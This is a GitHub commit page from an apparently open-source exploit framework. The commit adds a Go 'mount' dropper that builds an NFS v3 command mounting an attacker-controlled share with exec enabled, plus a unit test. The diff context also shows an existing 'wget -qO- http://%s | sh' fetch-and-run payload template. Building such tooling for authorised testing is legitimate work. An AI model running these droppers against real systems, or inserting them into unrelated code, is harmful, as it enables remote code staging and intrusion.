Skip to content

Commit 88ae338

Browse files
authored
Merge pull request #427 from vulncheck-oss/mountv3Only
Adds a `mount` binary dropper
2 parents a96f617 + d2186bc commit 88ae338

File tree

2 files changed

+17
-0
lines changed

2 files changed

+17
-0
lines changed

payload/dropper/dropper_test.go

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -181,3 +181,10 @@ func TestPHPHTTP(t *testing.T) {
181181
t.Fatal("Mysterious inclusion of SSL logic")
182182
}
183183
}
184+
185+
func TestMountV3Only(t *testing.T) {
186+
mountPayload := dropper.Unix.Mountv3Only("127.0.0.1", "/tmp/nfsshare", "./dir")
187+
if mountPayload != "mount -o vers=3,nolock,exec,tcp -t nfs 127.0.0.1:/tmp/nfsshare ./dir" {
188+
t.Fatal("Unexpected Mountv3Only formatting")
189+
}
190+
}

payload/dropper/unix.go

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -54,3 +54,13 @@ func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, downloadFil
5454

5555
return fmt.Sprintf("wget -qO- http://%s | sh", uri)
5656
}
57+
58+
// Mount a remote NFS directory using NFS v3. This will mount the attacker controlled share at
59+
// <lhost>:<lshareDir> and make it available to the attacker at <rshareDir>. Usage example:
60+
//
61+
// Mountv3Only("10.9.49.2","/tmp/nfsshare", "./b")
62+
//
63+
// This function does not attempt to actually execute any files on the share
64+
func (unix *UnixPayload) Mountv3Only(lhost string, lshareDir string, rshareDir string) string {
65+
return fmt.Sprintf("mount -o vers=3,nolock,exec,tcp -t nfs %s:%s %s", lhost, lshareDir, rshareDir)
66+
}

0 commit comments

Comments
 (0)